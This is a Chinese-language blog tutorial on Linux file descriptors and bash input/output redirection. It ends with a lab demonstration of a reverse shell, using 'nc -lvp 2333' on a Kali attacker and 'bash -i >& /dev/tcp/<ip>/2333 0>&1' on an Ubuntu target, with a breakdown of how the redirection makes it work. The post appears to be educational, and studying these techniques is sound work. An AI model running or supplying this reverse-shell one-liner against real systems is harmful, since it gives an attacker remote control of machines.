作者 by Yichen / 2023-08-11 / 暂无评论 / 40 个足迹
可以理解为linux跟踪打开文件,而分配的一个数字,这个数字有点类似c语言操作文件时候的句柄,通过句柄就可以实现文件的读写操作。
标准输入:standard input 0 (默认设备键盘)标准输出:standard output 1(默认设备显示器)错误输出:error output 2(默认设备显示器)
注意:
(1)以后再打开文件,描述符可以依次增加
(2)一条shell命令,都会继承其父进程的文件描述符,因此所有的shell命令,都会默认有三个文件描述符。
文件所有输入输出都是由该进程所有打开的文件描述符控制的。(Linux一切皆文件,就连键盘显示器设备都是文件,因此他们的输入输出也是由文件描述符控制)
一条命令执行以前先会按照默认的情况进行绑定(也就是上面所说的 0,1,2),如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。
重定向主要分为两种(其他复杂的都是从这两种衍生而来的):
(1)输入重定向 < <<
(2)输出重定向 > >>
1.bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向(之前说过了,输入输出操作都是依赖文件描述符实现的,重定向输入输出本质上就是重定向文件描述符),然后在把重定向去掉,执行指令
2.如果指令中存在多个重定向,那么不要随便改变顺序,因为重定向是从左向右解析的,改变顺序可能会带来完全不同的结果(这一点我们后面会展示)
3.< 是对标准输入 0 重定向 ,> 是对标准输出 1 重定向
4.重定向就是针对文件描述符的操作
格式: [n]< word (注意[n]与<之间没有空格)
说明:将文件描述符 n 重定向到 word 指代的文件(以只读方式打开),如果n省略就是0(标准输入)

解释: 解析器解析到 "<" 以后会先处理重定向,将标准输入重定向到file,之后cat再从标准输入读取指令的时候,由于标准输入已经重定向到了file ,于是就从file中读取指令了。
格式: [n]> word

说明: 将文件描述符 n 重定向到word 指代的文件(以写的方式打开),如果n 省略则默认就是 1(标准输出)
格式: &> word >& word
说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开),两种格式意义完全相同,这种格式完全等价于 > word 2>&1 (2>&1 是将标准错误输出复制到标准输出,&是为了区分文件1和文件描述符1的)

解释:我们首先执行了一个错误的命令,可以看到错误提示被写入文件(正常情况下是会直接输出的),我们又执行了一条正确的指令,发现结果也输入到了文件,说明正确错误消息都能输出到文件。
格式: [n]<&[m] / [n]>&[m] (这里所有字符之间不要有空格)
说明:
1)这里两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开
因此 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)
2)这里的& 目的是为了区分数字名字的文件和文件描述符,如果没有& 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符
这里就可以用上面的例子作为演示,将错误和正确的输出都输入到文件中
之前我们说过,重定向符号的顺序不能随便换,因为系统是从左到右执行的,我们下面就举一个例子
(1)cmd > file 2>&1,
(2)cmd 2>&1 >file 1.首先解析器解析到 2>&1,2.解析器再向后解析到 “>”

格式:exec [n] <> file /[n]
上面的输入输出重定向将输入和输出绑定文件或者设备以后只对当前的那条指令有效,如果需要接下来的指令都支持的话就需要使用 exec 指令
格式: [n]<>word
说明:以读写方式打开word指代的文件,并将n重定向到该文件。如果n不指定的话,默认为标准输入。
就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转
以ubuntu为靶机,kali为攻击机
在kali上执行nc -lvp 2333
在ubuntu上执行bash -i >& /dev/tcp/ip地址/2333 0>&1
此时在kali上就可以对靶机进行操作了
nc,全称是Netcat,使用的是UDP和TCP协议,它可以相对较简单的建立一些连接
-l 使用监听模式,管控传入的资料。
-v 显示指令执行过程。
-n 直接使用IP地址,而不通过域名服务器。
-p<通信端口> 设置本地主机使用的通信端口。
代码监听了2333端口等待靶机通过2333端口连接
1.bash -i
1)bash 是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别
2)-i 这个参数表示的是产生交互式的shell
2./dev/tcp/ip/port
/dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的,但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信

总体来看,先是bash生成交互环境,然后用发起与攻击机2333端口的连接(tcp连接),因为>端口 (默认为1(<默认为0,>默认为1))就是把标准输出重定向到端口,然后将标准输入的文件操作符复制到1,这样输入输出都可以在攻击机端口实现。
独特见解